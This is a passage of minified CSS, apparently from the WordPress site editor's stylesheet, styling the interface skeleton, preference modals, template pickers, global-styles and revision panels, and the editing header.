font-size:11px; font-weight:500; margin-bottom:1.5em; text-transform:uppercase; } .interface-complementary-area hr{ border-bottom:1px solid #f0f0f0; border-top:none; margin:1.5em 0; } .interface-complementary-area div.components-toolbar,.interface-complementary-area div.components-toolbar-group{ box-shadow:none; margin-bottom:1.5em; } .interface-complementary-area div.components-toolbar-group:last-child,.interface-complementary-area div.components-toolbar:last-child{ margin-bottom:0; } .interface-complementary-area .block-editor-skip-to-selected-block:focus{ bottom:10px; left:auto; right:10px; top:auto; } @media (min-width:782px){ body.js.is-fullscreen-mode{ height:calc(100% + 32px); margin-top:-32px; } body.js.is-fullscreen-mode #adminmenumain,body.js.is-fullscreen-mode #wpadminbar{ display:none; } body.js.is-fullscreen-mode #wpcontent,body.js.is-fullscreen-mode #wpfooter{ margin-left:0; } } html.interface-interface-skeleton__html-container{ position:fixed; width:100%; } @media (min-width:782px){ html.interface-interface-skeleton__html-container{ position:static; width:auto; } } .interface-interface-skeleton{ bottom:0; display:flex; flex-direction:row; height:auto; max-height:100%; position:fixed; right:0; top:46px; } @media (min-width:783px){ .interface-interface-skeleton{ top:32px; } .is-fullscreen-mode .interface-interface-skeleton{ top:0; } } .interface-interface-skeleton__editor{ display:flex; flex:0 1 100%; flex-direction:column; overflow:hidden; } .interface-interface-skeleton{ left:0; } @media (min-width:783px){ .interface-interface-skeleton{ left:160px; } } @media (min-width:783px){ .auto-fold .interface-interface-skeleton{ left:36px; } } @media (min-width:961px){ .auto-fold .interface-interface-skeleton{ left:160px; } } .folded .interface-interface-skeleton{ left:0; } @media (min-width:783px){ .folded .interface-interface-skeleton{ left:36px; } } body.is-fullscreen-mode .interface-interface-skeleton{ left:0 !important; } .interface-interface-skeleton__body{ display:flex; flex-grow:1; overflow:auto; overscroll-behavior-y:none; } @media (min-width:782px){ .has-footer .interface-interface-skeleton__body{ padding-bottom:25px; } } .interface-interface-skeleton__content{ display:flex; flex-direction:column; flex-grow:1; overflow:auto; z-index:20; } @media (min-width:782px){ .interface-interface-skeleton__content{ z-index:auto; } } .interface-interface-skeleton__secondary-sidebar,.interface-interface-skeleton__sidebar{ background:#fff; bottom:0; color:#1e1e1e; flex-shrink:0; left:0; position:absolute; right:0; top:0; z-index:100000; } @media (min-width:782px){ .interface-interface-skeleton__secondary-sidebar,.interface-interface-skeleton__sidebar{ position:relative !important; width:auto; } .is-sidebar-opened .interface-interface-skeleton__secondary-sidebar,.is-sidebar-opened .interface-interface-skeleton__sidebar{ z-index:90; } } .interface-interface-skeleton__sidebar{ overflow:auto; } @media (min-width:782px){ .interface-interface-skeleton__sidebar{ border-left:1px solid #e0e0e0; } .interface-interface-skeleton__secondary-sidebar{ border-right:1px solid #e0e0e0; } } .interface-interface-skeleton__header{ border-bottom:1px solid #e0e0e0; color:#1e1e1e; flex-shrink:0; height:auto; z-index:30; } .interface-interface-skeleton__footer{ background-color:#fff; border-top:1px solid #e0e0e0; bottom:0; color:#1e1e1e; display:none; flex-shrink:0; height:auto; left:0; position:absolute; width:100%; z-index:90; } @media (min-width:782px){ .interface-interface-skeleton__footer{ display:flex; } } .interface-interface-skeleton__footer .block-editor-block-breadcrumb{ align-items:center; background:#fff; display:flex; font-size:13px; height:24px; padding:0 18px; z-index:30; } .interface-interface-skeleton__actions{ background:#fff; bottom:auto; color:#1e1e1e; left:auto; position:fixed !important; right:0; top:-9999em; width:100vw; z-index:100000; } @media (min-width:782px){ .interface-interface-skeleton__actions{ width:280px; } } .interface-interface-skeleton__actions:focus,.interface-interface-skeleton__actions:focus-within{ bottom:0; top:auto; } .is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{ top:46px; } @media (min-width:782px){ .is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{ border-left:1px solid #ddd; top:32px; } .is-fullscreen-mode .is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-fullscreen-mode .is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{ top:0; } } .interface-more-menu-dropdown{ margin-left:-4px; } .interface-more-menu-dropdown .components-button{ padding:0 2px; width:auto; } @media (min-width:600px){ .interface-more-menu-dropdown{ margin-left:0; } .interface-more-menu-dropdown .components-button{ padding:0 4px; } } .interface-more-menu-dropdown__content .components-popover__content{ min-width:280px; } @media (min-width:480px){ .interface-more-menu-dropdown__content .components-popover__content{ max-width:480px; } } .interface-more-menu-dropdown__content .components-popover__content .components-dropdown-menu__menu{ padding:0; } .components-popover.interface-more-menu-dropdown__content{ z-index:99998; } .interface-pinned-items{ display:flex; gap:4px; margin-right:-4px; } .interface-pinned-items .components-button{ display:none; margin:0; } .interface-pinned-items .components-button[aria-controls="edit-post:block"],.interface-pinned-items .components-button[aria-controls="edit-post:document"],.interface-pinned-items .components-button[aria-controls="edit-site:block-inspector"],.interface-pinned-items .components-button[aria-controls="edit-site:global-styles"],.interface-pinned-items .components-button[aria-controls="edit-site:template"]{ display:flex; } .interface-pinned-items .components-button svg{ max-height:24px; max-width:24px; } @media (min-width:600px){ .interface-pinned-items .components-button{ display:flex; } .interface-preferences-modal{ height:calc(100% - 120px); width:calc(100% - 32px); } } @media (min-width:782px){ .interface-preferences-modal{ width:750px; } } @media (min-width:960px){ .interface-preferences-modal{ height:70%; } } @media (max-width:781px){ .interface-preferences-modal .components-modal__content{ padding:0; } } .interface-preferences__tabs .components-tab-panel__tabs{ left:16px; position:absolute; top:84px; width:160px; } .interface-preferences__tabs .components-tab-panel__tabs .components-tab-panel__tabs-item{ border-radius:2px; font-weight:400; } .interface-preferences__tabs .components-tab-panel__tabs .components-tab-panel__tabs-item.is-active{ background:#f0f0f0; box-shadow:none; font-weight:500; } .interface-preferences__tabs .components-tab-panel__tabs .components-tab-panel__tabs-item.is-active:after{ content:none; } .interface-preferences__tabs .components-tab-panel__tabs .components-tab-panel__tabs-item:focus:not(:disabled){ box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); outline:2px solid transparent; } .interface-preferences__tabs .components-tab-panel__tabs .components-tab-panel__tabs-item:focus-visible:before{ content:none; } .interface-preferences__tabs .components-tab-panel__tab-content{ margin-left:160px; padding-left:24px; } @media (max-width:781px){ .interface-preferences__provider{ height:100%; } } .interface-preferences-modal__section{ margin:0 0 2.5rem; } .interface-preferences-modal__section:last-child{ margin:0; } .interface-preferences-modal__section-legend{ margin-bottom:8px; } .interface-preferences-modal__section-title{ font-size:.9rem; font-weight:600; margin-top:0; } .interface-preferences-modal__section-description{ color:#757575; font-size:12px; font-style:normal; margin:-8px 0 8px; } .interface-preferences-modal__option+.interface-preferences-modal__option{ margin-top:16px; } .interface-preferences-modal__option .components-base-control__help{ margin-left:48px; margin-top:0; } .edit-site-custom-template-modal__contents-wrapper{ height:100%; justify-content:flex-start !important; } .edit-site-custom-template-modal__contents-wrapper>*{ width:100%; } .edit-site-custom-template-modal__contents-wrapper__suggestions_list{ margin-left:-12px; margin-right:-12px; width:calc(100% + 24px); } .edit-site-custom-template-modal__contents>.components-button{ height:auto; justify-content:center; } .edit-site-custom-template-modal .components-search-control input[type=search].components-search-control__input{ background:#fff; border:1px solid #ddd; } .edit-site-custom-template-modal .components-search-control input[type=search].components-search-control__input:focus{ border-color:var(--wp-admin-theme-color); box-shadow:0 0 0 1px var(--wp-admin-theme-color); } @media (min-width:782px){ .edit-site-custom-template-modal{ width:456px; } } @media (min-width:600px){ .edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list{ overflow:scroll; } } .edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item{ display:block; height:auto; overflow-wrap:break-word; padding:8px 12px; text-align:left; white-space:pre-wrap; width:100%; } .edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item mark{ background:none; font-weight:700; } .edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:hover{ background:rgba(var(--wp-admin-theme-color--rgb), .04); } .edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:hover *,.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:hover mark{ color:var(--wp-admin-theme-color); } .edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:focus{ background-color:#f0f0f0; } .edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:focus:not(:disabled){ box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color) inset; } .edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item__info,.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item__title{ display:block; overflow:hidden; text-overflow:ellipsis; } .edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item__info{ color:#757575; word-break:break-all; } .edit-site-custom-template-modal__no-results{ border:1px solid #ccc; border-radius:2px; padding:16px; } .edit-site-custom-generic-template__modal .components-modal__header{ border-bottom:none; } .edit-site-custom-generic-template__modal .components-modal__content:before{ margin-bottom:4px; } .edit-site-template-actions-loading-screen-modal{ -webkit-backdrop-filter:none; backdrop-filter:none; background-color:transparent; } .edit-site-template-actions-loading-screen-modal.is-full-screen{ background-color:#fff; box-shadow:0 0 0 transparent; min-height:100%; min-width:100%; } .edit-site-template-actions-loading-screen-modal__content{ align-items:center; display:flex; height:100%; justify-content:center; left:50%; position:absolute; transform:translateX(-50%); } .edit-site-add-new-template__modal{ margin-top:64px; max-height:calc(100% - 128px); max-width:832px; width:calc(100% - 64px); } @media (min-width:960px){ .edit-site-add-new-template__modal{ width:calc(100% - 128px); } } .edit-site-add-new-template__modal .edit-site-add-new-template__custom-template-button svg,.edit-site-add-new-template__modal .edit-site-add-new-template__template-button svg{ fill:var(--wp-admin-theme-color); } .edit-site-add-new-template__modal .edit-site-add-new-template__custom-template-button .edit-site-add-new-template__template-name{ align-items:flex-start; flex-grow:1; } .edit-site-add-new-template__modal .edit-site-add-new-template__template-icon{ background:rgba(var(--wp-admin-theme-color--rgb), .04); border-radius:100%; max-height:40px; max-width:40px; padding:8px; } .edit-site-add-new-template__template-list__contents>.components-button,.edit-site-custom-template-modal__contents>.components-button{ border:1px solid #ddd; border-radius:2px; display:flex; flex-direction:column; justify-content:center; outline:1px solid transparent; padding:32px; } .edit-site-add-new-template__template-list__contents>.components-button span:first-child,.edit-site-custom-template-modal__contents>.components-button span:first-child{ color:#1e1e1e; } .edit-site-add-new-template__template-list__contents>.components-button span,.edit-site-custom-template-modal__contents>.components-button span{ color:#757575; } .edit-site-add-new-template__template-list__contents>.components-button:hover,.edit-site-custom-template-modal__contents>.components-button:hover{ background:rgba(var(--wp-admin-theme-color--rgb), .04); border-color:transparent; color:var(--wp-admin-theme-color-darker-10); } .edit-site-add-new-template__template-list__contents>.components-button:hover span,.edit-site-custom-template-modal__contents>.components-button:hover span{ color:var(--wp-admin-theme-color); } .edit-site-add-new-template__template-list__contents>.components-button:focus,.edit-site-custom-template-modal__contents>.components-button:focus{ border-color:transparent; box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); outline:3px solid transparent; } .edit-site-add-new-template__template-list__contents>.components-button:focus span:first-child,.edit-site-custom-template-modal__contents>.components-button:focus span:first-child{ color:var(--wp-admin-theme-color); } .edit-site-add-new-template__template-list__contents .edit-site-add-new-template__custom-template-button,.edit-site-add-new-template__template-list__contents .edit-site-add-new-template__template-list__prompt,.edit-site-custom-template-modal__contents .edit-site-add-new-template__custom-template-button,.edit-site-custom-template-modal__contents .edit-site-add-new-template__template-list__prompt{ grid-column-end:4; grid-column-start:1; } .edit-site-add-new-template__template-list__contents>.components-button{ align-items:flex-start; height:100%; text-align:start; } .edit-site-block-editor__editor-styles-wrapper .components-button{ font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif; font-size:13px; padding:6px 12px; } .edit-site-block-editor__editor-styles-wrapper .components-button.has-icon,.edit-site-block-editor__editor-styles-wrapper .components-button.is-tertiary{ padding:6px; } .edit-site-block-editor__block-list.is-navigation-block{ padding:24px; } .edit-site-visual-editor{ align-items:center; background-color:#1e1e1e; display:block; height:100%; overflow:hidden; position:relative; } .edit-site-visual-editor iframe{ background:#fff; display:block; height:100%; width:100%; } .edit-site-visual-editor .edit-site-visual-editor__editor-canvas{ height:100%; } .edit-site-visual-editor .edit-site-visual-editor__editor-canvas.is-focused{ outline:calc(var(--wp-admin-border-width-focus)*2) solid var(--wp-admin-theme-color); outline-offset:calc(var(--wp-admin-border-width-focus)*-2); } .edit-site-layout.is-full-canvas .edit-site-visual-editor.is-focus-mode{ padding:48px; } .edit-site-visual-editor.is-focus-mode .edit-site-visual-editor__editor-canvas{ border-radius:2px; max-height:100%; } .edit-site-visual-editor.is-focus-mode .components-resizable-box__container{ overflow:visible; } .edit-site-visual-editor .components-resizable-box__container{ margin:0 auto; overflow:auto; } .edit-site-visual-editor.is-view-mode{ box-shadow:0 20px 25px -5px rgba(0,0,0,.8),0 8px 10px -6px rgba(0,0,0,.8); } .edit-site-visual-editor.is-view-mode .block-editor-block-contextual-toolbar.is-fixed{ display:none; } .edit-site-visual-editor__back-button{ color:#fff; left:8px; position:absolute; top:8px; } .edit-site-visual-editor__back-button:active:not([aria-disabled=true]),.edit-site-visual-editor__back-button:focus:not([aria-disabled=true]),.edit-site-visual-editor__back-button:hover{ color:#f0f0f0; } .resizable-editor__drag-handle{ -webkit-appearance:none; appearance:none; background:none; border:0; border-radius:2px; bottom:0; cursor:ew-resize; margin:auto 0; outline:none; padding:0; position:absolute; top:0; width:12px; } .resizable-editor__drag-handle.is-variation-default{ height:100px; } .resizable-editor__drag-handle.is-variation-separator{ height:100%; right:0; width:24px; } .resizable-editor__drag-handle.is-variation-separator:after{ background:transparent; border-radius:0; left:50%; right:0; transform:translateX(-1px); transition:all .2s ease; transition-delay:.1s; width:2px; } @media (prefers-reduced-motion:reduce){ .resizable-editor__drag-handle.is-variation-separator:after{ animation-delay:0s; animation-duration:1ms; transition-delay:0s; transition-duration:0s; } } .resizable-editor__drag-handle:after{ background:#949494; border-radius:2px; bottom:24px; content:""; left:4px; position:absolute; right:0; top:24px; width:4px; } .resizable-editor__drag-handle.is-left{ left:-16px; } .resizable-editor__drag-handle.is-right{ right:-16px; } .resizable-editor__drag-handle:active,.resizable-editor__drag-handle:hover{ opacity:1; } .resizable-editor__drag-handle:active.is-variation-default:after,.resizable-editor__drag-handle:hover.is-variation-default:after{ background:#ccc; } .resizable-editor__drag-handle:active.is-variation-separator:after,.resizable-editor__drag-handle:hover.is-variation-separator:after{ background:var(--wp-admin-theme-color); } .resizable-editor__drag-handle:focus:after{ box-shadow:0 0 0 1px #2f2f2f, 0 0 0 calc(var(--wp-admin-border-width-focus) + 1px) var(--wp-admin-theme-color); } .resizable-editor__drag-handle.is-variation-separator:focus:after{ border-radius:2px; box-shadow:inset 0 0 0 2px var(--wp-admin-theme-color); } .edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed{ left:0; } @media (min-width:783px){ .edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed{ left:160px; } } @media (min-width:783px){ .auto-fold .edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed{ left:36px; } } @media (min-width:961px){ .auto-fold .edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed{ left:160px; } } .folded .edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed{ left:0; } @media (min-width:783px){ .folded .edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed{ left:36px; } } body.is-fullscreen-mode .edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed{ left:0 !important; } .edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed{ display:block; position:sticky; top:0; width:100%; z-index:31; } @media (min-width:782px){ .edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed{ align-items:center; display:flex; height:60px; margin-left:180px; min-height:auto; position:fixed; top:32px; width:calc(100% - 180px); } .edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed.is-collapsed,.edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed:empty{ width:auto; } .is-fullscreen-mode .edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed{ margin-left:240px; top:0; } .is-fullscreen-mode .edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed.is-collapsed,.is-fullscreen-mode .edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed:empty{ width:auto; } .show-icon-labels .edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed{ margin-left:80px; width:calc(100% - 140px); } .is-fullscreen-mode .show-icon-labels .edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed{ margin-left:144px; } } @media (min-width:960px){ .edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed,.show-icon-labels .edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed{ width:auto; } .is-fullscreen-mode .edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed{ width:calc(100% - 536px); } } .edit-site-canvas-loader{ align-items:center; animation:edit-site-canvas-loader__fade-in-animation .5s ease .2s; animation-fill-mode:forwards; display:flex; height:100%; justify-content:center; left:0; opacity:0; position:absolute; top:0; width:100%; } @media (prefers-reduced-motion:reduce){ .edit-site-canvas-loader{ animation-delay:0s; animation-duration:1ms; } } .edit-site-canvas-loader>div{ width:160px; } @keyframes edit-site-canvas-loader__fade-in-animation{ 0%{ opacity:0; } to{ opacity:1; } } .edit-site-code-editor{ background-color:#fff; min-height:100%; position:relative; width:100%; } .edit-site-code-editor__body{ margin-left:auto; margin-right:auto; max-width:1080px; padding:12px; width:100%; } @media (min-width:960px){ .edit-site-code-editor__body{ padding:24px; } } .edit-site-code-editor__toolbar{ background:hsla(0,0%,100%,.8); display:flex; left:0; padding:4px 12px; position:sticky; right:0; top:0; z-index:1; } @media (min-width:600px){ .edit-site-code-editor__toolbar{ padding:12px; } } @media (min-width:960px){ .edit-site-code-editor__toolbar{ padding:12px 24px; } } .edit-site-code-editor__toolbar h2{ color:#1e1e1e; font-size:13px; line-height:36px; margin:0 auto 0 0; } .edit-site-code-editor__toolbar .components-button svg{ order:1; } textarea.edit-site-code-editor-text-area.edit-site-code-editor-text-area{ border:1px solid #949494; border-radius:0; box-shadow:none; display:block; font-family:Menlo,Consolas,monaco,monospace; font-size:16px !important; line-height:2.4; margin:0; min-height:200px; overflow:hidden; padding:16px; resize:none; transition:border .1s ease-out,box-shadow .1s linear; width:100%; } @media (prefers-reduced-motion:reduce){ textarea.edit-site-code-editor-text-area.edit-site-code-editor-text-area{ transition-delay:0s; transition-duration:0s; } } @media (min-width:600px){ textarea.edit-site-code-editor-text-area.edit-site-code-editor-text-area{ font-size:15px !important; padding:24px; } } textarea.edit-site-code-editor-text-area.edit-site-code-editor-text-area:focus{ border-color:var(--wp-admin-theme-color); box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); position:relative; } textarea.edit-site-code-editor-text-area.edit-site-code-editor-text-area::-webkit-input-placeholder{ color:rgba(30,30,30,.62); } textarea.edit-site-code-editor-text-area.edit-site-code-editor-text-area::-moz-placeholder{ color:rgba(30,30,30,.62); opacity:1; } textarea.edit-site-code-editor-text-area.edit-site-code-editor-text-area:-ms-input-placeholder{ color:rgba(30,30,30,.62); } .edit-site-global-styles-preview{ align-items:center; cursor:pointer; display:flex; justify-content:center; line-height:1; } .edit-site-global-styles-preview__iframe{ display:block; max-width:100%; } .edit-site-typography-preview{ align-items:center; background:#f0f0f0; border-radius:2px; display:flex; justify-content:center; margin-bottom:16px; min-height:100px; overflow:hidden; } .edit-site-typography-panel__full-width-control{ grid-column:1 / -1; max-width:100%; } .edit-site-global-styles-screen-css,.edit-site-global-styles-screen-typography{ margin:16px; } .edit-site-global-styles-screen-typography__indicator{ align-items:center; border-radius:2px; display:flex !important; font-size:14px; height:24px; justify-content:center; width:24px; } .edit-site-global-styles-screen-colors{ margin:16px; } .edit-site-global-styles-screen-colors .color-block-support-panel{ border-top:none; padding-left:0; padding-right:0; } .edit-site-global-styles-header__description{ padding:0 16px; } .edit-site-block-types-search{ margin-bottom:8px; padding:0 16px; } .edit-site-global-styles-header{ margin-bottom:0 !important; } .edit-site-global-styles-subtitle{ font-size:11px !important; font-weight:500 !important; margin-bottom:0 !important; text-transform:uppercase; } .edit-site-global-styles-section-title{ color:#2f2f2f; font-weight:600; line-height:1.2; margin:0; padding:16px 16px 0; } .edit-site-global-styles-variations_item{ border-radius:2px; box-sizing:border-box; } .edit-site-global-styles-variations_item .edit-site-global-styles-variations_item-preview{ border-radius:2px; box-shadow:0 0 0 1px #e0e0e0; outline:1px solid transparent; padding:2px; } .edit-site-global-styles-variations_item.is-active .edit-site-global-styles-variations_item-preview{ box-shadow:0 0 0 1px #1e1e1e; outline-width:3px; } .edit-site-global-styles-variations_item:hover .edit-site-global-styles-variations_item-preview{ box-shadow:0 0 0 1px var(--wp-admin-theme-color); } .edit-site-global-styles-variations_item:focus .edit-site-global-styles-variations_item-preview{ box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); } .edit-site-global-styles-variations_item:focus-visible{ outline:3px solid transparent; outline-offset:0; } .edit-site-global-styles-icon-with-current-color{ fill:currentColor; } .edit-site-global-styles__color-indicator-wrapper{ flex-shrink:0; height:24px; } .edit-site-global-styles__block-preview-panel{ border:1px solid #e0e0e0; border-radius:2px; overflow:auto; position:relative; width:100%; } .edit-site-global-styles-screen-css{ display:flex; flex:1 1 auto; flex-direction:column; } .edit-site-global-styles-screen-css .components-v-stack{ flex:1 1 auto; } .edit-site-global-styles-screen-css .components-v-stack .block-editor-global-styles-advanced-panel__custom-css-input,.edit-site-global-styles-screen-css .components-v-stack .block-editor-global-styles-advanced-panel__custom-css-input .components-base-control__field{ display:flex; flex:1 1 auto; flex-direction:column; } .edit-site-global-styles-screen-css .components-v-stack .block-editor-global-styles-advanced-panel__custom-css-input .components-base-control__field .components-textarea-control__input{ direction:ltr; flex:1 1 auto; } .edit-site-global-styles-screen-css-help-link{ display:block; margin-top:8px; } .edit-site-global-styles-screen-variations{ border-top:1px solid #ddd; margin-top:16px; } .edit-site-global-styles-screen-variations>*{ margin:24px 16px; } .edit-site-global-styles-sidebar__navigator-screen{ display:flex; flex-direction:column; } .edit-site-global-styles-screen-root.edit-site-global-styles-screen-root,.edit-site-global-styles-screen-style-variations.edit-site-global-styles-screen-style-variations{ background:unset; color:inherit; } .edit-site-global-styles-sidebar__panel .block-editor-block-icon svg{ fill:currentColor; } [class][class].edit-site-global-styles-sidebar__revisions-count-badge{ align-items:center; background:#2f2f2f; border-radius:2px; color:#fff; display:inline-flex; justify-content:center; min-height:24px; min-width:24px; } .edit-site-global-styles-screen-revisions{ margin:16px; } .edit-site-global-styles-screen-revisions__revisions-list{ list-style:none; margin:0; } .edit-site-global-styles-screen-revisions__revisions-list li{ border-left:1px solid #ddd; margin-bottom:0; } .edit-site-global-styles-screen-revisions__revision-item{ padding:8px 0 8px 12px; position:relative; } .edit-site-global-styles-screen-revisions__revision-item:first-child{ padding-top:0; } .edit-site-global-styles-screen-revisions__revision-item:last-child{ padding-bottom:0; } .edit-site-global-styles-screen-revisions__revision-item:before{ background:#ddd; border-radius:50%; content:"\a"; display:inline-block; height:8px; left:0; position:absolute; top:50%; transform:translate(-50%, -50%); width:8px; } .edit-site-global-styles-screen-revisions__revision-item.is-selected:before{ background:var(--wp-components-color-accent, var(--wp-admin-theme-color, #007cba)); } .edit-site-global-styles-screen-revisions__revision-button{ display:block; height:auto; padding:8px 12px; width:100%; } .edit-site-global-styles-screen-revisions__revision-button:hover{ background:rgba(var(--wp-admin-theme-color--rgb), .04); } .edit-site-global-styles-screen-revisions__revision-button:hover .edit-site-global-styles-screen-revisions__date{ color:var(--wp-admin-theme-color); } .is-selected .edit-site-global-styles-screen-revisions__revision-button{ background:rgba(var(--wp-admin-theme-color--rgb), .04); color:var(--wp-components-color-accent, var(--wp-admin-theme-color, #007cba)); opacity:1; } .is-selected .edit-site-global-styles-screen-revisions__meta{ color:var(--wp-admin-theme-color); } .edit-site-global-styles-screen-revisions__button{ justify-content:center; width:100%; } .edit-site-global-styles-screen-revisions__description{ align-items:flex-start; display:flex; flex-direction:column; gap:8px; } .edit-site-global-styles-screen-revisions__meta{ align-items:center; color:#757575; display:flex; justify-content:space-between; text-align:left; width:100%; } .edit-site-global-styles-screen-revisions__meta img{ border-radius:100%; height:16px; width:16px; } .edit-site-global-styles-screen-revisions__loading{ margin:24px auto !important; } .edit-site-header-edit-mode{ align-items:center; background-color:#fff; border-bottom:1px solid #e0e0e0; box-sizing:border-box; color:#1e1e1e; display:flex; height:60px; justify-content:space-between; padding-left:60px; width:100%; } .edit-site-header-edit-mode .edit-site-header-edit-mode__start{ border:none; display:flex; } .edit-site-header-edit-mode .edit-site-header-edit-mode__end{ display:flex; justify-content:flex-end; } .edit-site-header-edit-mode .edit-site-header-edit-mode__center{ align-items:center; display:flex; flex-grow:1; height:100%; justify-content:center; margin:0 8px; min-width:0; } .edit-site-header-edit-mode__toolbar{ align-items:center; display:flex; padding-left:8px; } @media (min-width:600px){ .edit-site-header-edit-mode__toolbar{ padding-left:24px; } } @media (min-width:1280px){ .edit-site-header-edit-mode__toolbar{ padding-right:8px; } } .edit-site-header-edit-mode__toolbar .edit-site-header-edit-mode__inserter-toggle{ height:32px; margin-right:8px; min-width:32px; padding:0; width:32px; } .edit-site-header-edit-mode__toolbar .edit-site-header-edit-mode__inserter-toggle svg{ transition:transform .2s cubic-bezier(.165, .84, .44, 1); } @media (prefers-reduced-motion:reduce){ .edit-site-header-edit-mode__toolbar .edit-site-header-edit-mode__inserter-toggle svg{ transition-delay:0s; transition-duration:0s; } } .edit-site-header-edit-mode__toolbar .edit-site-header-edit-mode__inserter-toggle.is-pressed svg{ transform:rotate(45deg); } .edit-site-header-edit-mode__actions{ align-items:center; display:inline-flex; gap:4px; padding-right:4px; } @media (min-width:600px){ .edit-site-header-edit-mode__actions{ gap:8px; padding-right:10px; } } .edit-site-header-edit-mode__preview-options{ opacity:1; transition:opacity .3s; } .edit-site-header-edit-mode__preview-options.is-zoomed-out{ opacity:0; } .edit-site-header-edit-mode__start{ border:none; display:flex; } .edit-site-header-edit-mode__start .edit-site-header-edit-mode__toolbar>.components-button.has-icon,.edit-site-header-edit-mode__start .edit-site-header-edit-mode__toolbar>.components-dropdown>.components-button.has-icon{ height:36px; min-width:36px; padding:6px; } .edit-site-header-edit-mode__start .edit-site-header-edit-mode__toolbar>.components-button.has-icon.is-pressed,.edit-site-header-edit-mode__start .edit-site-header-edit-mode__toolbar>.components-dropdown>.components-button.has-icon.is-pressed{ background:#1e1e1e; } .edit-site-header-edit-mode__start .edit-site-header-edit-mode__toolbar>.components-button.has-icon:focus:not(:disabled),.edit-site-header-edit-mode__start .edit-site-header-edit-mode__toolbar>.components-dropdown>.components-button.has-icon:focus:not(:disabled){ box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color), inset 0 0 0 1px #fff; outline:1px solid transparent; } .edit-site-header-edit-mode__start .edit-site-header-edit-mode__toolbar>.components-button.has-icon:before,.edit-site-header-edit-mode__start .edit-site-header-edit-mode__toolbar>.components-dropdown>.components-button.has-icon:before{ display:none; } .edit-site-header-edit-mode__start .edit-site-header-edit-mode__toolbar>.edit-site-header-edit-mode__inserter-toggle.has-icon{ height:32px; margin-right:8px; min-width:32px; padding:0; width:32px; } .edit-site-header-edit-mode__start .edit-site-header-edit-mode__toolbar>.edit-site-header-edit-mode__inserter-toggle.has-text.has-icon{ padding:0 8px; width:auto; } .edit-site-header-edit-mode.show-icon-labels .components-button.has-icon{ width:auto; } .edit-site-header-edit-mode.show-icon-labels .components-button.has-icon svg{ display:none; } .edit-site-header-edit-mode.show-icon-labels .components-button.has-icon:after{ content:attr(aria-label); } .edit-site-header-edit-mode.show-icon-labels .components-button.has-icon[aria-disabled=true]{ background-color:transparent; } .edit-site-header-edit-mode.show-icon-labels .is-tertiary:active{ background-color:transparent; box-shadow:0 0 0 1.5px var(--wp-admin-theme-color); } .edit-site-header-edit-mode.show-icon-labels .edit-site-save-button__button{ padding-left:6px; padding-right:6px; } .edit-site-header-edit-mode.show-icon-labels .edit-site-document-actions__get-info.edit-site-document-actions__get-info.edit-site-document-actions__get-info:after{ content:none; } .edit-site-header-edit-mode.show-icon-labels .edit-site-document-actions__get-info.edit-site-document-actions__get-info.edit-site-document-actions__get-info,.edit-site-header-edit-mode.show-icon-labels .edit-site-header-edit-mode__inserter-toggle.edit-site-header-edit-mode__inserter-toggle{ height:36px; padding:0 8px; } .edit-site-header-edit-mode.show-icon-labels .edit-site-header-edit-mode__start .edit-site-header-edit-mode__toolbar>*+*{ margin-left:8px; } .edit-site-document-actions{ align-items:center; background:#f0f0f0; border-radius:4px; display:flex; height:36px; justify-content:space-between; min-width:0; width:min(100%, 450px); } .has-fixed-toolbar .edit-site-document-actions{ width:min(100%, 380px); } .edit-site-document-actions:hover{ background-color:#e0e0e0; } .edit-site-document-actions .components-button{ border-radius:4px; } .edit-site-document-actions .components-button:hover{ background:#e0e0e0; color:var(--wp-block-synced-color); } @media (min-width:960px){ .edit-site-document-actions{ width:min(100%, 450px); } } .edit-site-document-actions.is-synced-entity .edit-site-document-actions__title,.edit-site-document-actions.is-synced-entity .edit-site-document-actions__title h1{ color:var(--wp-block-synced-color); } .edit-site-document-actions__command{ color:var(--wp-block-synced-color); flex-grow:1; overflow:hidden; } .edit-site-document-actions__title{ flex-grow:1; overflow:hidden; } @media (min-width:600px){ 